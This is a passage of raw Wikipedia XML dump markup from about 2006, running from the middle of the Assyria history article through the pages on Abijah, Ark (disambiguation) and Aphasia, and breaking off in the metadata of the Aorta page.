Hanilgalbat was finally conquered under [[Adad-nirari I]], who described himself as a &quot;Great-King&quot; (''Sharru rabû'') in letters to the Hittite rulers. Adad-nirari I's successor, [[Shalmaneser I]] (c. 1300 BC), threw off the pretense of Babylonian suzerainty, made [[Calah]] his capital, and followed up on expansion to the northwest, mainly at the expense of the Hittites, reaching as far as [[Carchemish]] and beyond.  

Shalmaneser's son and successor, [[Tukulti-Ninurta I]], deposed Kadashman-Buriash of Babylon and ruled there himself as king for seven years, taking on the old title &quot;king of Sumer and Akkad&quot;.  Following this, Babylon revolted against Tukulti-Ninurta, and later even made Assyria tributary during the reigns of the Babylonian kings Melishipak II and Marduk-apal-iddin I, another weak period for Assyria.

===Tiglath-Pileser I reaches the Mediterranean Sea===

As the Hittite empire collapsed from onslaught of the [[Phrygians]] (called [[Meshech|Mushki]] in Assyrian annals), Babylon and Assyria began to vie for [[Amorite]] regions, formerly under firm Hittite control.  The Assyrian king [[Ashur-resh-ishi I]] defeated [[Nebuchadnezzar I]] of Babylon in a battle, when their forces encountered one another in this region.

Ashur-resh-ishi's son, [[Tiglath-Pileser I]], may be regarded as the founder of the first Assyrian empire. In [[1120 BC]], he crossed the [[Euphrates]], capturing Carchemish, defeated the Mushki and the remnants of the Hittites&amp;mdash;even claiming to reach the [[Black Sea]]&amp;mdash;and advanced to the [[Mediterranean Sea|Mediterranean]], subjecting [[Phoenicia]], where he hunted wild bulls. He also marched into Babylon twice, assuming the old title &quot;King of Sumer and Akkad&quot;, although he was unable to depose the actual king in Babylonia, where the old Kassite dynasty had now succumbed to an Elamite one.

===The Society in the Middle Assyrian period===

Assyria had a major problem in keeping the trade routes open. Unlike the situation in the Old Assyrian period, the Anatolian metal trade was effectively cut off by the [[Hittites]] and the [[Hurrians]]. They also controlled the Mediterrenean ports while the [[Kassites]] controlled the river route south to the [[Persian Gulf]].

The Middle Assyrian kingdom was well organized and in firm control by the king. The king also functioned as the High Priest of [[Anshar|Ashur]], the state god. He had certain obligations to fulfil in the cult, and to provide rich resources for the temples. The priesthood became a major power in the Assyrian society. Conflicts with the priesthood probably laid behind the murder of king [[Tukulti-Ninurta I]].

The population of Assyria was rather small and the main cities were [[Assur|Ashur]], [[Kalhu]] and [[Nineveh]], all situated in the [[Tigris]] river valley. All free male citizens were obliged to serve in the army for a time; this system was called the ''ilku''-service. The [[Babylonian law|Middle Assyrian laws]] were compiled during this period. They are notable of the repressive attitude towards women in the society.

==Neo-Assyrian Empire==
[[Image:Map of Assyria.png|thumb|300ppx|Assyrian Empire]]
===Assyrian empire-building===

After Tiglath-Pileser I, the Assyrians were in decline for nearly two centuries, a time of weak and ineffective rulers, wars with neighboring [[Urartu]], and encroachments by Aramaean nomads.  This long period of weakness ended with the accession in [[911 BC]] of [[Adad-nirari II]]. He brought the areas still nominally under Assyrian vassalage firmly under subjection, deporting populations in the north to far-off places.  Apart from pushing the boundary with Babylonia slightly southward, he did not engage in actual expansion, and the borders of the empire he consolidated reached only as far west as the Khabur.  He was succeeded by Tukulti-Ninurta II, who made some gains in the north during his short reign.

The next king, [[Ashurnasirpal II]] ([[883 BC]]&amp;ndash;[[858 BC]]), embarked on a vast program of merciless expansion, first terrorizing the peoples to the north as far as Nairi, then subjecting the Aramaeans between the Khabur and the Euphrates.  His harshness prompted a revolt that was crushed decisively in a pitched, two-day battle.  Following this victory, he advanced without opposition as far as the Mediterranean and exacted tribute from [[Phoenicia]]. Unlike any before, the Assyrians began boasting in their ruthlessness around this time. Ashurnasirpal II also moved his capital to the city of Kalhu ([[Nimrud]]). The palaces, temples and other buildings raised by him bear witness to a considerable development of wealth and art.

[There is ongoing discussion among academics over the nature of the [[Nimrud lens]], a piece of [[rock crystal]] unearthed by [[John Layard]] in [[1850]], in the Nimrud palace complex in northern [[Iraq]]. A small minority believe that it is evidence for the existence of ancient Assyrian telescopes, which could explain the great accuracy of Assyrian astronomy.]  

Ashurnasirpal's son, [[Shalmaneser III]] (858 BC&amp;ndash;[[823 BC]]), had a long reign of 34 years, when the Assyrian capital was converted into an armed camp. Each year the Assyrian armies marched out of it to plunder and destroy. Babylon was occupied, and Babylonia reduced to vassalage. He fought against Urartu, and  marched an army against an allied army of Syrian states headed by [[Benhadad]] of [[Damascus]], and including [[Ahab]], king of [[Kingdom of Israel|Israel]], at the [[Battle of Karkar]] in ([[854 BC]]). Despite Shalmaneser's description of 'vanquishing the opposition', it seems that the battle ended in a deadlock, as the Assyrian forces were withdrawn soon afterwards. 

Shalmaneser retook Carchemish in [[849 BC]], and in [[841 BC]] marched an army against [[Hazael]], King of Damascus, besieging and taking that city. He also brought under tribute [[Jehu]] of Israel, [[Tyre]], and [[Sidon]]. His black [[obelisk]], discovered at Kalhu, records many military exploits of his reign. [http://www.kchanson.com/ANCDOCS/meso/obelisk.html] The last few years of his life were disturbed by the rebellion of his eldest son, that nearly proved fatal. Assur, Arbela and other places joined the pretender, and the revolt was quashed with difficulty by [[Shamshi-Adad V]], Shalmaneser's second son, who soon afterwards succeeded him (824 BC). 

In the following century, Assyria again experienced a relative decline, owing to weaker rulers (including the Queen [[Semiramis]]) and a resurgence in expansion by Urartu.  The notable exception was [[Adad-nirari III]] ([[810 BC]]&amp;ndash;[[782 BC]]), who captured Damascus in 804, bringing Syria under tribute as far south as Samaria and [[Edom]], and who advanced against the [[Medes]], perhaps even penetrating to the [[Caspian Sea]].

===Second Assyrian Empire===
When [[Nabonassar]] began the neo-Babylonian dynasty in [[747 BC]] Assyria was in the throes of a revolution. Civil war and pestilence were devastating the country, and its northern provinces had been wrested from it by Urartu. In 746 BC Calah joined the rebels, and on the 13th of ''Iyyar'' in the following year, a general named [[Pulu]], who took the name of [[Tiglath-pileser III]], seized the crown, and made sweeping changes to the Assyrian government, considerably improving its efficiency and security. 

The conquered provinces were organized under an elaborate bureaucracy, with the king at the head &amp;mdash; each district paying a fixed tribute and providing a military contingent. The Assyrian forces at this time became a standing army, that by successive improvements became an irresistible fighting machine; and Assyrian policy was henceforth directed toward reducing the whole civilized world into a single empire, throwing its trade and wealth into Assyrian hands. These changes are often identified as the beginning of the &quot;Second Assyrian Empire&quot;. 

After subjecting Babylon to tribute, severely punishing Urartu, and defeating the Medes and Hittites, Tiglath-Pileser III directed his armies into Syria, which had regained its independence, and the commercially successful Mediterranean seaports of Phoenicia. He took [[Arpad (Syria)|Arpad]] near [[Aleppo]] in [[740 BC]] after a siege of three years, and reduced [[Hamath]]. Azariah (Uzziah) had been an ally of the king of Hamath, and thus was compelled by Tiglath-Pileser to do him homage and pay yearly tribute.  

In [[738 BC]], in the reign of [[Menahem]], king of Israel, Tiglath-Pileser III occupied [[Philistines|Philistia]] and invaded Israel, imposing on it a heavy tribute (2 Kings 15:19). [[Ahaz]], king of Judah, engaged in a war against Israel and Syria, appealed for help to this Assyrian king by means of a present of gold and silver (2 Kings 16:8); he accordingly &quot;marched against Damascus, defeated and put Rezin to death, and besieged the city itself.&quot; Leaving part of his army to continue the siege, he advanced, ravaging with fire and sword the province east of the Jordan, Philistia, and [[Samaria]]; and in [[732 BC]] took Damascus, deporting its inhabitants to Assyria. In [[729 BC]], he had himself crowned as &quot;King Pul of Babylon&quot;.

Tiglath-Pileser III died in [[727 BC]], and was succeeded by [[Shalmaneser V]], who reorganized the Empire into provinces, replacing troublesome vassal kings with Assyrian governors. However, King Hoshea of Israel suspended paying tribute, and allied himself with [[Egypt]] against Assyria in [[725 BC]].  This led Shalmaneser to invade Syria (2 Kings 17:5) and besiege Samaria (capital city of Israel) for three years.

===Sargonid (dynasty)===
[[Image:Deportationofjewsbyassyrian.jpg|thumb|right|Deportation of Jews from Judah by the Assyrian Empire]]
Shalmaneser V died suddenly in [[722 BC]] while seiging Samaria, and the throne was seized by in favour of [[Sargon II of Assyria|Sargon]], the ''Tartan'' (commander-in-chief of the army), who then quickly took Samaria, effectively ending the northern [[Kingdom of Israel]] and carrying 27,000 people away into captivity into the [[Israelite Diaspora]]. (2 Kings 17:1&amp;ndash;6, 24; 18:7, 9). He also overran Judah, and besieged Jerusalem (Isa. 10:6, 12, 22, 24, 34), but did not capture it. In [[721 BC]], Babylon threw off the rule of the Assyrians, under the powerful Chaldean prince [[Merodach-baladan]] (2 Kings 20:12), and Sargon, unable to contain the revolt, turned his attention again to Urartu and Syria, taking [[Carchemish]] in 717, as well as the Medes, penetrating the Iranian Plateau as far as Mt. Bikni and building several fortresses, before returning in [[710 BC]] and retaking Babylon.  Sargon also built a new capital at [[Dur Sharrukin]] (&quot;Sargon's City&quot;) near Nineveh, with all the tribute Assyria had collected from various nations.

In [[705 BC]], Sargon was slain while fighting the [[Cimmerians]], and was succeeded by his son [[Sennacherib]] (2 Kings 18:13; 19:37; Isa. 7:17, 18), who moved the capital to Nineveh and made the deported peoples work on improving Nineveh's system of irrigation canals.  In [[701 BC]], Hezekiah of Judah formed an alliance with Egypt against Assyria, so Sennacherib accordingly marched toward Jerusalem, destroying 46 villages in his path.  This is graphically described in Isaiah 10; exactly what happened next is unclear (the Bible says an Angel of the Lord smote the Assyrian army at Jerusalem; [[Herodotus]] says they were destroyed by a plague of field mice at Egypt; Sennacherib's account says Judah paid him tribute and he left); however what is certain, is that the besieging army was somehow decimated, and Sennacherib failed to capture Jerusalem. In [[689 BC]], Babylonia again revolted, but Sennacherib responded swiftly by opening the canals around Babylon and flooding the outside of the city until it became a [[swamp]], resulting in its destruction, and its inhabitants were scattered. In [[681 BC]], Sennacherib was murdered, most likely by one of his sons.

Sennacherib was succeeded by his son [[Esarhaddon]] (''Ashur-aha-iddina''), who had been governor of Babylonia, and was campaigning in Urartu at the time of his father's murder, where he won a victory at [[Malatia]] (Milid). As king, he immediately had Babylon rebuilt, and made it his capital. Defeating the Cimmerians and Medes (again penetrating to Mt. Bikni), but unable to maintain order in these areas, he turned his attention westward to Phoenicia&amp;mdash;now allying itself with Egypt against him&amp;mdash;and sacked Sidon in [[677 BC]]. He also captured [[Manasseh]] of Judah and kept him prisoner for some time in Babylon (2 Kings 19:37; Isa. 37:38). Having had enough of Egyptian meddling, he next invaded that country in [[674 BC]], conquering it all with a cast force in [[670 BC]]. The [[pharoah]] [[Tirhakah]] fled Egypt, and a stele commemorating the victory, and representing Tirhakah with black African features, was set up at Sinjirli (north of the Gulf of Antioch), and is now in the Berlin Museum.  Assyria was also at war with Urartu and [[Dilmun]] (probably modern [[Qatar]]) at this time. This was Assyria's greatest territorial extent.  However, the Assyrian governors Esarhaddon had appointed over Egypt were obliged to flee the restive populace, and while leading another army to pacify them, Esarhaddon died suddenly, in [[669 BC]].

[[Assur-bani-pal]] or Ashurbanipal (''Ashurbanapli, Asnappar''), the son of [[Esarhaddon]], succeeded him. He continued to campaign in Egypt, when not distracted by pressures from the Medes to the east, and Cimmerians to the north of Assyria. Unable to contain Egypt, he installed Psammetichus as a vassal king in [[663 BC]]. However, after [[Gyges of Lydia]]'s appeal for Assyrian help against the Cimmerians was rejected, Lydian mercenaries were sent to Psammetichus. By [[652 BC]], this vassal king was strong enough to declare outright independence from Assyria with impunity, especially as Ashurbanipal's older brother, [[Shamash-shum-ukin]], governor of Babylon, began a civil war in that year. This rebellion lasted until [[648 BC]], when Babylon was sacked, and Shamash-shum-ukin set fire to the palace, killing himself.  Elam was completely devastated in [[646 BC]] and [[640 BC]], and its capital Susa completely leveled.

===Downfall and heritage===
Ashurbanipal had promoted art and culture, and had a vast library of cuneiform tablets at Nineveh. However, his long struggle with Babylonia and Elam left Assyria maimed and exhausted. It had been drained of wealth and fighting population; the devastated provinces could yield nothing to supply the needs of the imperial exchequer, and it was difficult to find sufficient troops to garrison the conquered populations. Assyria, therefore, was ill-prepared to face the hordes of [[Scythians]] and Medes who now began to harass the frontiers to the east; Asia Minor too was infested by the Cimmerians.

Upon Ashurbanipal's death in [[627 BC]], the empire began to disintegrate rapidly. The Scythians, Cimmerians and Medes immediately penetrated the borders, marauding as far as Egypt, while Babylonia again became independent; Ashurbanipal's successor, [[Ashur-etil-ilani]], seems to have exercised little real power. The Babylonian king [[Nabopolassar]], along with [[Cyaxares]] the Mede, finally destroyed Nineveh in [[612 BC]], and Assyria fell. A general called Ashur-uballit II, with military support from the Egyptian Pharaoh [[Necho]] II, held out as a remnant of Assyrian power at [[Harran]] until [[609 BC]], after which Assyria ceased to exist as an independent nation.

==Assyrian Art==
[[Image:Human headed winged bull facing.jpg|thumb|right|An Assyrian winged bull.]]
Assyrian art preserved to the present day predominantly dates to the Neo-Assyrian period. Art depicting battle scenes, and occasionally the impaling of whole villages in gory detail, was intended to show the power of the emperor, and was generally made for propaganda purposes. These stone reliefs lined the walls in the royal palaces where foreigners were received by the king. Other stone reliefs depict the king with different deities and conducting religious ceremonies. A lot of stone reliefs were discovered in the royal palaces at [[Nimrud]] (Kalhu) and [[Khorsabad]] (Dur-Sharrukin). A rare discovery of metal plates belonging to wooden doors were made at [[Balawat]] (Imgur-Enlil).

Assyrian sculpture reached a high level of refinement in the Neo-Assyrian period. One prominent example is the winged bull ''Lamasu'', or [[shedu]] that guard the entrances to the king's court. These were apotrophaic meaning they were intended to ward off evil.

Since works of precious gems and metals usually not survive time, we are lucky to have some fine pieces of Assyrian jewellery. These were found in royal tombs at Nimrud.

== The Legacy of Assyria ==

The Assyrians themselves were not the greatest innovators in science and culture, but they carried on the cultural heritage from the Old Babylonian period. Much of the Babylonian literature, with roots in the Sumerian civilization, is preserved from the Assyrian library of [[Ashur-bani-pal]]. The Assyrians also studied astrology, which they used for interpretation of omens. They also achieved much in the field of engineering, and Assyrian dams and canals are still in function to this day.

== Further reading ==
===See also===
*[[Art and architecture of Babylonia and Assyria]]
*[[Assyria and Babylonia contrasted]]
*[[Assyrians]]
*[[Assyrian Siege of Jerusalem]]
*[[Assyriology]]
*[[Babylonia and Assyria]]
*[[Chronology of Babylonia and Assyria]]
*[[Geography of Babylonia and Assyria]]
*[[History of Sumer]]
*[[Kings of Assyria]]
*[[Mitanni]]
*[[Proper names of Babylonia and Assyria]]
*[[Mesopotamia]]
*[[Social life in Babylonia and Assyria]]

===Books===
* ''The Ancient Assyrians'' by Mark Healy
* ''Ancient Iraq'' by Georges Roux
* ''Ancient Mesopotamia : Portrait of a Dead Civilization'' by A. Leo Oppenheim
* ''Ancient Mesopotamia: The Sumerians, Babylonians, And Assyrians'' by Virginia Schomp
* ''The Archaeology of Mesopotamia: From the Old Stone Age to the Persian Conquest'' by Seton Lloyd
* ''The Assyrian Empire'' by Don Nardo 
* ''Daily Life in Ancient Mesopotamia'' by Karen Rhea Nemet-Nejat 
* ''Mesopotamia'' by Gwendolyn Leick
* ''Myths and Legends of Babylonia and Assyria'' by Lewis Spence

== External links ==
* [http://ancientneareast.tripod.com/Assyria_Subartu.html The History of the Ancient Near East]
* [http://web.archive.org/web/20030816143526/http://www.bol.ucla.edu/~szuchman/hist312.htm Assyrian administrative letters]

{{eastons}}

[[Category:Assyria|Assyria]]
[[Category:Tanakh places]]

[[ar:آشور (مملكة)]]
[[arc:|ܐܬܘܪ]]
[[ca:Assíria]]
[[cs:Asýrie]]
[[da:Assyrien]]
[[de:Geschichte des assyrischen Reiches]]
[[et:Assüüria]]
[[es:Asiria]]
[[eo:Asirio]]
[[fa:آشور]]
[[fr:Assyrie]]
[[gl:Asiria]]
[[he:אשור]]
[[it:Assiria]]
[[lt:Asirija]]
[[nl:Assyrische Rijk]]
[[ja:アッシリア]]
[[no:Assyria]]
[[pl:Asyria]]
[[pt:Assíria]]
[[ru:Ассирия]]
[[sl:Asirija]]
[[fi:Assyria]]
[[sv:Assyrien]]
[[tr:Asurlular]]
[[uk:Ассирія]]
[[zh:亚述帝国]]</text>
    </revision>
  </page>
  <page>
    <title>Abijah</title>
    <id>2086</id>
    <revision>
      <id>32505106</id>
      <timestamp>2005-12-23T18:13:10Z</timestamp>
      <contributor>
        <username>NekoDaemon</username>
        <id>239574</id>
      </contributor>
      <minor />
      <comment>[[Cat#Communication|Nyaa]]! [[Template talk:Categoryredirect|Categoryredirect]]: [[Category:Hebrew Bible/Tanakh people]] → [[Category:Tanakh people]]</comment>
      <text xml:space="preserve">'''Abijah''' means father (i.e., &quot;possessor or worshipper&quot;) of God, in the [[Hebrew Bible]].

# [[Books of Chronicles|1 Chronicles]] 7:8. 
# 1 Chr. 2:24.
# '''Abijah''' is also the second son of [[Samuel]] ([[Books of Samuel|1 Samuel]] 8:2; 1 Chr. 6:28). His conduct, along with that of his brother, as a judge in Beer-sheba, to which office his father had appointed him, led to popular discontent, and ultimately provoked the people to demand a royal form of government.
# Another '''Abijah''' was a descendant of [[Eleazar]], the son of [[Aaron]], a chief of one of the twenty-four orders into which the priesthood was divided by [[David]] (1 Chr. 24:10). The order of Abijah was one of those which did not return from the Captivity ([[Book of Ezra|Ezra]] 2:36-39; [[Book of Nehemiah|Nehemiah]] 7:39-42; 12:1).
# The '''Abijah''' or [[Abijam]], who was son of [[Rehoboam]], and succeeded him on the throne of [[Kingdom of Judah|Judah]] (1 Chr. 3:10). 
# Furthermore, '''Abijah''' was also the name of a son of Jeroboam, the first king of Israel. On account of his severe illness when a youth, his father sent his wife to consult the prophet Ahijah regarding his recovery. The prophet, though blind with old age, knew the wife of Jeroboam as soon as she approached, and under a divine impulse he announced to her that inasmuch as in Abijah alone of all the house of Jeroboam there was found &quot;some good thing toward the Lord,&quot; he only would come to his grave in peace. As his mother crossed the threshold of the door on her return, the youth died, and &quot;all Israel mourned for him&quot; ([[Books of Kings|1 Kings]] 14:1-18).
# The daughter of Zechariah (2 Chr. 29:1; compare [[Book of Isaiah|Isaiah]] 8:2), and afterwards the wife of Ahaz was also named '''Abijah'''. She is also called Abi (2 Kings 18:2).
# One of the sons of Becher, the son of Benjamin (1 Chr. 7:8) was '''Abijah''', also known by the name ''Abiah''.
 
-----
Initial text from Easton's Bible Dictionary, 1897 -- Please update as needed

[[Category:Tanakh people]]</text>
    </revision>
  </page>
  <page>
    <title>Ark</title>
    <id>2087</id>
    <revision>
      <id>39618442</id>
      <timestamp>2006-02-14T18:33:52Z</timestamp>
      <contributor>
        <username>Curps</username>
        <id>44727</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/83.103.96.130|83.103.96.130]] ([[User talk:83.103.96.130|talk]]) to last version by Penguinonice4</comment>
      <text xml:space="preserve">'''Ark''' may be: 
{{Wiktionarypar|ark}}

== Religion ==
* [[Ark (synagogue)]], a cabinet used to store a synagogue's Torah scroll.
* [[Ark of the Covenant]], consecrated container for Moses's tablets of Ten Commandments.
* [[Ark of bulrushes]], infant Moses's boat.
* [[Noah's Ark]], a massive vessel Noah built at God's command to keep Noah, his family, and a core breeding stock of the world’s animals safe.

== Technology contexts ==
* [[Ark (computing)]], archiving tool.
* [[Ark Linux]], software distribution.
* [[Interstellar ark]], multi-lifetime space vehicle.

== Entertainment contexts ==
Narratives:
* [[Ark (2005 film)]]
* [[The Ark (Transformers)]], fictional spacecraft.
* [[The Ark (Doctor Who)]], series of fiction episode.
* [[Ark (Noon Universe)]], fictional planet.

Music: 
* [[Ark (folk venue)]], a world-class concert venue in Ann Arbor, Michigan.
* [[ARK (band)]], Norwegian/American heavy metal.
* [[The Ark (band)]], Swedish glam-rock.
* [[Ark (album)]], by the Japanese rock band L'Arc-en-Ciel.

Games:
* [[Ark (game)]], a 1996 computer game subtitled ''Search For The Future''.
* [[Space colony ARK]], from the video game ''Sonic Adventure 2''.
* Ark, [[Summoner (character class)]] character in [[Final Fantasy IX]].
* Ark, main character of video game [[Terranigma]].
* [[The Ark (Halo)]], a mysterious Forerunner facility from which all the Halos can be controlled.
* [[Abels Ark]], from the video game ''[[Xenogears]]'' and the video game series ''[[Xenosaga]]''.

== Other ==
* ARK, stock symbol for [[Senior High Income Portfolio]]  
* [[The Ark (Antarctica)]], mountain.
* [[The Ark (newspaper)]], California.
* [[The Ark (Hammersmith)]], a large office block in Hammersmith, London, that looks like a ship.

== See also ==
{{wiktionarypar2|arc|arch-}}
* [[Arc]]
* [[Arch]]

__NOTOC__
{{disambig}}</text>
    </revision>
  </page>
  <page>
    <title>Aphasia</title>
    <id>2088</id>
    <revision>
      <id>41970447</id>
      <timestamp>2006-03-02T23:26:28Z</timestamp>
      <contributor>
        <username>Arcadian</username>
        <id>104523</id>
      </contributor>
      <comment>clean up using [[Wikipedia:AutoWikiBrowser|AWB]]</comment>
      <text xml:space="preserve">{{DiseaseDisorder infobox |
  Name        = Acquired aphasia |
  ICD10       = R47.0 |
  ICD9        = {{ICD9|784.3}} |
}}
{{DiseaseDisorder infobox |
  Name        = Developmental aphasia |
  ICD10       = F80.0-F80.2 |
  ICD9        = {{ICD9|315.31}} |
}}
'''Aphasia''' is a loss or impairment of the ability to produce and/or comprehend [[language]], due to [[brain damage]]. It is usually a result of damage to the language centres of the brain (like [[Broca's area]]).  These areas are almost always located in the  [[left hemisphere]], and in most people this is where the ability to produce and comprehend language is found.  However in a very small number of people language ability is found in the right hemisphere.  Damage to these language areas can be caused by a [[stroke]], [[traumatic brain injury]] or other [[head injury]].  Aphasia may also develop slowly, as in the case of a [[brain tumor]]. Depending on the area and extent of the damage, someone suffering from aphasia may be able to speak but not write, or vice versa, understand more complex sentences than he or she can produce, or display any of a wide variety of other deficiencies in reading, writing, and comprehension.   

Aphasia may co-occur with speech disorders such as [[dysarthria]]  or [[apraxia]] of speech, which also result from brain damage. 

The brains of young children with brain damage sometimes restructure themselves to use different areas for speech processing, and regain lost function; adult brains are less &quot;plastic&quot; and lack this ability.

Aphasia can be assessed in a variety of ways, from quick clinical screening at the bedside to several-hour-long batteries of tasks that examine the key components of language and communication.

==Who has aphasia?==
Anyone can acquire aphasia, but most people who have aphasia are in their middle to late years. Men and women are equally affected. It is estimated that approximately 80,000 individuals in the [[United States]] acquire aphasia each year. About one million persons in the United States currently have aphasia.

==Causes==
Aphasia can be caused by damage to one or more of the language areas of the brain. Many times, the cause of the brain injury is a [[stroke]]. A stroke occurs when, for some reason, blood is unable to reach a part of the brain. Brain cells die when they do not receive their normal supply of blood, which carries oxygen and important nutrients. Other causes of brain injury are severe blows to the head, brain tumors, brain infections, and other conditions of the brain.

Traumatic aphasia can occur without physical damage to the brain, but by experiencing a horrific event (normally during childhood). Treatment for traumatic aphasia is wildly different, normally requiring the help of a psychologist. And as the patient grows older, the chances of recovery gradually decline.

Individuals with [[Broca's aphasia]] have damage to the frontal lobe of the brain. These individuals frequently speak in short, meaningful phrases that are produced with great effort. Broca's aphasia is thus characterized as a nonfluent aphasia. Affected people often omit small words such as &quot;is,&quot; &quot;and,&quot; and &quot;the.&quot; For example, a person with Broca's aphasia may say, &quot;Walk dog&quot; meaning, &quot;I will take the dog for a walk.&quot; The same sentence could also mean &quot;You take the dog for a walk,&quot; or &quot;The dog walked out of the yard,&quot; depending on the circumstances. Individuals with Broca's aphasia are able to understand the speech of others to varying degrees. Because of this, they are often aware of their difficulties and can become easily frustrated by their speaking problems. Individuals with Broca's aphasia often have [[right-sided weakness]] or paralysis of the arm and leg because the frontal lobe is also important for body movement.

In contrast to Broca's aphasia, damage to the [[temporal lobe]] may result in a fluent aphasia that is called [[Wernicke's aphasia]]. Individuals with Wernicke's aphasia may speak in long sentences that have no meaning, add unnecessary words, and even create new &quot;words.&quot; For example, someone with Wernicke's aphasia may say, &quot;You know that smoodle pinkered and that I want to get him round and take care of him like you want before,&quot; meaning &quot;The dog needs to go out so I will take him for a walk.&quot; Individuals with Wernicke's aphasia usually have great difficulty understanding speech and are therefore often unaware of their mistakes. These individuals usually have no body weakness because their brain injury is not near the parts of the brain that control movement.

A third type of aphasia, global aphasia, results from damage to extensive portions of the language areas of the brain. Individuals with global aphasia have severe communication difficulties and will be extremely limited in their ability to speak or comprehend language.

==Diagnosis==
Aphasia is usually first recognized by the physician who treats the individual for his or her brain injury. Frequently this is a [[neurologist]]. The physician typically performs tests that require the individual to follow commands, answer questions, name objects, and converse. If the physician suspects aphasia, the individual is often referred to a [[speech-language pathologist]], who performs a comprehensive examination of the person's ability to understand, speak, read, and write.

==Treatment==
In some instances an individual will completely recover from aphasia without treatment. This type of &quot;spontaneous recovery&quot; usually occurs following a [[transient ischemic attack]] (TIA), a kind of [[stroke]] in which the blood flow to the brain is temporarily interrupted but quickly restored. In these circumstances, language abilities may return within a few hours or a few days. For most cases of aphasia, however, language recovery is not as quick or as complete. While many individuals with aphasia also experience a period of partial spontaneous recovery (in which some language abilities return over a period of a few days to a month after the brain injury), some amount of aphasia typically remains. In these instances, speech-language therapy is often helpful. Recovery usually continues over a 2-year period. Most people believe that the most effective treatment begins early in the recovery process. Some of the factors that influence the amount of improvement include the cause of the brain damage, the area of the brain that was damaged, the extent of the brain injury, and the age and health of the individual. Additional factors include motivation, handedness, and educational level.

Aphasia therapy, provided by the speech and language therapist, strives to improve an individual's ability to communicate by helping the person to use remaining abilities, to restore language abilities as much as possible, to compensate for language problems, and to learn other methods of communicating. Treatment may be offered in individual or group settings. Individual therapy focuses on the specific needs of the person, and should concentrate on the unique language problems and their effects on the client's ability to participate in every day life. Further, support, advice and information should be available to spouses and significant others, who have to come to terms with an often dramatic change in the person with aphasia.  Group therapy offers the opportunity to use new communication skills in a comfortable setting. Stroke clubs, which are regional support groups formed by individuals who have had a stroke, are available in most major cities in the U.S.A. These clubs also offer the opportunity for individuals with aphasia to try new communication skills. In addition, stroke clubs can help the individual and his or her family adjust to the life changes that accompany stroke and aphasia. Family involvement is often a crucial component of aphasia treatment so that family members can learn the best way to communicate with their loved one.

== What research is being done for aphasia? ==
Aphasia research is exploring new ways to evaluate and treat aphasia as well as to further understanding of the function of the brain. [[Neuroimaging]] techniques are helping to define brain function, determine the severity of brain damage, and predict the severity of the aphasia. These procedures include PET ([[positron emission tomography]]), CT ([[computed tomography]]), and MRI ([[magnetic resonance imaging]]) as well as the new [[functional magnetic resonance imaging]] (fMRI), which identifies areas of the brain that are used during activities such as speaking or listening. In-depth testing of the language ability of individuals with the various aphasic syndromes is helping to design effective treatment strategies. The use of computers in aphasia treatment is being studied. Promising new drugs administered shortly after some types of stroke are being investigated as ways to reduce the severity of aphasia.

== Types of aphasia ==
Any of the following can be considered aphasia:
* inability to comprehend speech
* inability to read ([[alexia (disorder)|alexia]])
* inability to write ([[agraphia]])
* inability to speak, without muscle paralysis
* inability to form words
* inability to name objects ([[anomia]])
* poor [[enunciation]]
* excessive creation and use of personal [[neologism]]s ([[jargon aphasia]])
* inability to repeat a phrase
* persistent repetition of phrases
* other language impairment

The common types of aphasia are 
*[[Broca's aphasia]] ([[expressive aphasia]])
*[[Wernicke's aphasia]] ([[receptive aphasia]])
*[[Nominal aphasia]] ([[anomic aphasia]])
*[[Global aphasia]]
*[[Conduction aphasia]]

It is worth noting that a combination of the above is possible.

A few less common varieties include
*[[Transcortical motor aphasia]]
*[[Subcortical motor aphasia]]
*[[Transcortical sensory aphasia]]
*[[Subcortical sensory aphasia]]
*[[Mixed transcortical aphasia]]
*[[Acquired eleptiform aphasia]] ([[Landau Kleffner Syndrome]])

== External links ==
* [http://www.untitledtheater.com/plays/strangers-linguish.html Linguish] is a play by Edward Einhorn that posits a fictional version of aphasia, which is transmitted virally.
* [http://www.nidcd.nih.gov/health/voice/aphasia.asp NIDCD health information: Aphasia] (public domain source)
* [http://www.nlm.nih.gov/medlineplus/ency/article/003204.htm National Institute of Health: MEDLINEplus Medical Encyclopdia entry on Speech Impairment (adult)] (note: ''not'' public domain, even though it is on a .gov website)
* [http://media.cbc.ca:8080/ramgen/cbc.ca/thesundayedition/media/aphasia_se021215.rm &quot;In So Many Words&quot;] Radio documentary broadcast on the [[Canadian Broadcasting Corporation]]'s &quot;The Sunday Edition&quot; program on Sunday, December 15, 2002. Co-produced by Teresa Goff and telling the story of her father Steve Goff, who suffers from aphasia as a result of a stroke.
* [http://23nlpeople.com/aphasia_dysphasia.htm Aphasia and Dysphasia - Ideas and Considerations]
* [http://www.aphasia.tv &quot;Picturing Aphasia&quot;] Documentary film about aphasia that uses drawings to help bridge the gap between hearing, seeing, and comprehending.  The video is designed to function as a part of therapy for people with aphasia and to educate people of all language abilities about the condition.  Directed by Mores McWreath.
* [http://braininfo.rprc.washington.edu/scripts/indexotheratlas.aspx?othersiteID=1045244870 Description of four types of aphasia: auditory, afferent, efferent, and semantic.]
* [http://www.aphasianow.org/ Aphasia resources for Aphasics]

==Aphasia in popular culture==
Aphasia has sometimes been used as an avenue by which writers can explore the concept of human communication. For example, the ''[[Star Trek: Deep Space Nine]]'' episode &quot;[[MemoryAlpha:Babel (episode)|Babel]]&quot; features an aphasia virus, which slowly but steadily infects the population of a [[space station]] and causes them to say random words in place of what they mean to say. The play ''[[Fuddy Meers]]'' also explores this idea, albeit in an unusual way; the main character, Claire, is an [[amnesia]]c whose life is one discovery after another, and her kidnapper's mother, who has suffered a stroke and become aphasic, is the only one who knows the full truth about Claire's situation. The title of the play is based on the mother's pronunciation of the phrase &quot;funny mirrors&quot;, in reference to mirrors frequently seen on [[funhouse]] walls, and is a metaphor for the way the play is told and the manner in which we experience day-to-day life.

==Famous individuals who suffered from Aphasia==
* [[Maurice Ravel]]

[[Category:Aphasia| ]]

[[de:Aphasie]]
[[es:Afasia]]
[[fr:Aphasie]]
[[gl:Afasia]]
[[he:אפאזיה]]
[[ms:Aphasia]]
[[nl:Afasie]]
[[no:Afasi]]
[[pl:Afazja]]
[[ru:Афазия]]
[[fi:Afasia]]
[[sv:Afasi]]</text>
    </revision>
  </page>
  <page>
    <title>Aorta</title>
    <id>2089</id>
    <revision>
      <id>40817921</id>
      <timestamp>2006-02-23T05:14:57Z</timestamp>
      <contributor>
        <username>Palica</username>
        <id>188933</id>
      </contributor>
      <minor />
      <comment>robot  Adding: sk</comment>
